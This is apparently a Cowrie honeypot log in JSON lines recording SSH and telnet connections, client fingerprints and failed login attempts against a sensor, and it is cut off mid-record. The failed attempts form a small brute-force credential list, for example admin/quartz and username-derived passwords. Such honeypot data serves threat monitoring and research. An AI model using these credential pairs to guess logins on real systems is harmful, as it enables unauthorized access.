{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a623124b98b","protocol":"ssh","message":"New connection: 213.209.159.159:39208 (159.203.135.109:22) [session: 4a623124b98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:02.231277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:02.236690Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:02.319308Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese","message":"login attempt [annaliese/annaliese] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:02.720409Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese1","message":"login attempt [annaliese/annaliese1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:03.805749Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese123","message":"login attempt [annaliese/annaliese123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:04.890725Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese1234","message":"login attempt [annaliese/annaliese1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:05.989234Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese12345","message":"login attempt [annaliese/annaliese12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:07.075674Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50414,"dst_ip":"159.203.135.109","dst_port":22,"session":"8faf1e0cebcb","protocol":"ssh","message":"New connection: 159.203.92.129:50414 (159.203.135.109:22) [session: 8faf1e0cebcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:07.609927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:07.613784Z","src_ip":"159.203.92.129","session":"8faf1e0cebcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:07.617595Z","src_ip":"159.203.92.129","session":"8faf1e0cebcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc123","message":"login attempt [1234/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:07.629289Z","src_ip":"159.203.92.129","session":"8faf1e0cebcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:08.161274Z","src_ip":"213.209.159.159","session":"4a623124b98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:08.636536Z","src_ip":"159.203.92.129","session":"8faf1e0cebcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00300168991089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:17.167444Z","src_ip":"67.128.120.127","session":"f0bf3be5770d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":43928,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf274a60395","protocol":"telnet","message":"New connection: 67.128.120.127:43928 (159.203.135.109:23) [session: 7bf274a60395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:17.843828Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":56552,"dst_ip":"10.17.0.5","dst_port":22,"session":"383777e93534","protocol":"ssh","message":"New connection: 171.25.158.70:56552 (10.17.0.5:22) [session: 383777e93534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:26.002887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:26.007671Z","src_ip":"171.25.158.70","session":"383777e93534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:26.112503Z","src_ip":"171.25.158.70","session":"383777e93534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"quartz","message":"login attempt [admin/quartz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:26.596571Z","src_ip":"171.25.158.70","session":"383777e93534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:27.702477Z","src_ip":"171.25.158.70","session":"383777e93534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":44340,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed844a876ae","protocol":"telnet","message":"New connection: 67.128.120.127:44340 (159.203.135.109:23) [session: 1ed844a876ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:28.050601Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57750,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f4eda5ef291","protocol":"ssh","message":"New connection: 159.203.92.129:57750 (159.203.135.109:22) [session: 8f4eda5ef291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:49.147629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:49.151566Z","src_ip":"159.203.92.129","session":"8f4eda5ef291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:49.155541Z","src_ip":"159.203.92.129","session":"8f4eda5ef291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"qaz123","message":"login attempt [1234/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:49.165443Z","src_ip":"159.203.92.129","session":"8f4eda5ef291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:44:50.172031Z","src_ip":"159.203.92.129","session":"8f4eda5ef291","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":344,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:10.763118Z","src_ip":"176.65.139.81","session":"e63c090c64ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.24320483207703,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:10.776427Z","src_ip":"176.65.139.81","session":"e63c090c64ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33150,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfde6fbdf3b1","protocol":"ssh","message":"New connection: 159.203.92.129:33150 (159.203.135.109:22) [session: dfde6fbdf3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:30.595593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:30.600836Z","src_ip":"159.203.92.129","session":"dfde6fbdf3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:30.608022Z","src_ip":"159.203.92.129","session":"dfde6fbdf3b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123","password":"123","message":"login attempt [123/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:30.623675Z","src_ip":"159.203.92.129","session":"dfde6fbdf3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:45:31.640559Z","src_ip":"159.203.92.129","session":"dfde6fbdf3b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"da68334137cf","protocol":"ssh","message":"New connection: 159.203.92.129:47864 (159.203.135.109:22) [session: da68334137cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:11.615093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:11.619512Z","src_ip":"159.203.92.129","session":"da68334137cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:11.623888Z","src_ip":"159.203.92.129","session":"da68334137cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123","password":"123123","message":"login attempt [123/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:11.642508Z","src_ip":"159.203.92.129","session":"da68334137cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:12.649490Z","src_ip":"159.203.92.129","session":"da68334137cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00131368637085,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:17.844940Z","src_ip":"67.128.120.127","session":"7bf274a60395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00312781333923,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:28.053577Z","src_ip":"67.128.120.127","session":"1ed844a876ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":49340,"dst_ip":"159.203.135.109","dst_port":23,"session":"671f183efd87","protocol":"telnet","message":"New connection: 67.128.120.127:49340 (159.203.135.109:23) [session: 671f183efd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:28.582821Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":33936,"dst_ip":"159.203.135.109","dst_port":22,"session":"43697851201b","protocol":"ssh","message":"New connection: 37.143.61.84:33936 (159.203.135.109:22) [session: 43697851201b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:36.884861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:36.896594Z","src_ip":"37.143.61.84","session":"43697851201b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS